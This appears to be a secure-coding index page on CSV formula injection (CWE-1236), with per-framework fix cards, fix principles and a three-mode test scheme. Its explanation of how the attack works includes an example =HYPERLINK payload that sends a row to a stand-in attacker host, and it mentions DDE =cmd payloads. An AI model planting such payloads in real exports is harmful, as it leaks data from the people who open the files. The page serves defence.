Choose your stack
Fix CSV formula injection in Node.js and Express
Spreadsheets run a cell that starts with =, +, -, @, tab or carriage return.
Open the fix card Python · FlaskFix CSV formula injection in Python and Flask
User text in a CSV is attacker-controlled. If a cell starts with = + - @, a tab, CR, LF or NUL, prefix it with an apostrophe so a spreadsheet treats it as text, then write it with csv.writer, which escapes commas, quotes and newlines.
Open the fix card Java · Spring BootFix CSV formula injection in Java and Spring Boot
Spreadsheets run a cell that starts with =, +, -, @, tab or carriage return.
Open the fix card C# · ASP.NET CoreFix CSV formula injection in C# and ASP.NET Core
Spreadsheets run a cell that starts with =, +, -, @, tab or carriage return.
Open the fix card Python · DjangoFix CSV formula injection in Python and Django
User text in a CSV is attacker-controlled. If a cell starts with = + - @, a tab, CR, LF or NUL, prefix it with an apostrophe so a spreadsheet treats it as text, then write it with csv.writer, which escapes commas, quotes and newlines.
Open the fix card Ruby · RailsFix CSV formula injection in Ruby on Rails
Before writing a user-controlled value to a cell, prefix it with a single quote when it begins with any formula trigger: =, +, -, @, tab (0x09) or carriage return (0x0D).
Open the fix cardStacks without a card
- TypeScript and Next.js: no card yet. The nearest is Fix CSV formula injection in Node.js and Express, in the same language.
- Python and FastAPI: no card yet. The nearest is Fix CSV formula injection in Python and Flask, in the same language.
- Go and net/http: no card yet. The nearest is Fix CSV formula injection in Node.js and Express.
- PHP and Laravel: no card yet. The nearest is Fix CSV formula injection in Ruby on Rails.
How it happens
- A field a user controls (a name, a note, a comment, a log line) is written to a CSV cell unchanged, and someone opens the export in Excel, Google Sheets or LibreOffice.
- A cell whose first non-space character is =, +, -, @, a tab or a carriage return is evaluated as a formula: =HYPERLINK("http://attacker/"&A1,"x") exfiltrates the row on click, and legacy =cmd|... DDE payloads can run commands on older, misconfigured Excel.
- The team adds RFC 4180 quoting to fix broken columns and assumes it also stops formulas. It does not: the spreadsheet removes the CSV quotes before parsing the cell, so "=1+1" is still =1+1.
- The less obvious triggers are missed: +, -, @ and leading tab or carriage return all start or admit a formula, and a leading space can hide a trigger from a naive check but not from the spreadsheet.
- The export is produced by a library whose defaults quote but do not sanitize formulas, so the gap is inherited silently.
Fix principles
- Neutralize the value before serializing: if a cell's first non-space character is =, +, -, @, tab or carriage return, prefix it with a single quote ('), which spreadsheets display as literal text.
- Serialize for RFC 4180 as well: wrap a field containing a comma, a double quote or a newline in double quotes and double the inner quotes. This keeps the file well formed; it is a separate concern from formula execution.
- Apply both to every user-controlled cell in every spreadsheet-bound export (CSV, TSV, and clipboard data), not just the obvious name column.
- Decide how to treat values that are legitimately a signed number: the quote prefix turns -5 or +44 into text. If round-tripping numbers matters, prefix only values that are not valid numbers, and document the choice.
- Set the response as text/csv with Content-Disposition: attachment so a browser downloads the file rather than rendering it, and remember the neutralization is for the spreadsheet, not the browser.
The scenario
An export returns a CSV of contacts whose name and note fields were typed by users. The fixed build neutralizes any cell that begins with a formula trigger and quotes fields per RFC 4180; the vulnerable build writes raw values; the wrong build quotes correctly for RFC 4180 but never neutralizes, so =HYPERLINK(...) in a quoted field is still a live formula. The tests parse the CSV and check each cell's logical value.
How the cards prove it
- Run each card's tests in three modes: the fixed implementation must pass, and the vulnerable and the plausible-but-wrong implementations must fail. run-all.mjs does this for every card.
- The exploit tests export cells beginning with =, +, -, @, tab and carriage return (including a HYPERLINK payload), parse the CSV back, and assert no cell's value begins with a trigger. The functional tests confirm commas, quotes and newlines still round-trip and ordinary values are unchanged.
- Open the vulnerable and wrong exports in a spreadsheet: the =HYPERLINK and =1+1 cells evaluate; the fixed export shows them as text.
- Do not count on static analysis: neither the Semgrep registry nor CodeQL has a CWE-1236 query, because the tool cannot know which strings a spreadsheet will open. The parsing tests are the control; each card's scannerRules records what was run.
Identifiers
CWE-1236 (Improper Neutralization of Formula Elements in a CSV File) is the weakness the cards show. It is ChildOf CWE-74 (Injection), the root of OWASP Top 10:2025 A05 Injection; A05's official CWE list does not name CWE-1236 itself, so it is mapped here to A05 as a specific injection whose downstream interpreter is the spreadsheet. MITRE lists no CAPEC for CWE-1236, so capec is empty. The 2025 CWE Top 25 does not rank it.
References
Guides on this weakness
Prevent CRLF header injection, log forging and CSV formula injection
Carriage return and line feed separate HTTP header fields, log records and CSV rows, and a leading = turns a spreadsheet cell into a formula. Let the framework write headers, log structured JSON, and neutralize formula triggers in exports.
Abuse case library: tests and controls by feature
Recurring abuse cases for sign-up and login, password reset, MFA enrolment, invites, file upload, payments and coupons, webhooks, search, export, admin and AI chat or agents: the attacker goal, preconditions, a concrete test and the control, each linked to CWE and CAPEC.